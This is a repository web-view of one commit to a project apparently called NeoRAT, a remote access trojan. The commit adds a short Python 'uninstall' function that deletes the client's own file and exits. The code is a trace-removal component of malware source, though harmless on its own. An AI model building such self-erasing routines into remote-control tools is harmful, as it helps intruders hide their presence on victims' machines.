summaryrefslogtreecommitdiff
path: root/foreign/client_handling/uninstall.py
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/uninstall.py
NeoRATHEADmain
Diffstat (limited to 'foreign/client_handling/uninstall.py')
-rw-r--r--foreign/client_handling/uninstall.py9
1 files changed, 9 insertions, 0 deletions
diff --git a/foreign/client_handling/uninstall.py b/foreign/client_handling/uninstall.py
new file mode 100644
index 0000000..d3fc063
--- /dev/null
+++ b/foreign/client_handling/uninstall.py
@@ -0,0 +1,9 @@
+import sys
+import os
+
+from foreign.global_state import *
+
+
+def uninstall():
+ os.remove(state['file'])
+ sys.exit(0) \ No newline at end of file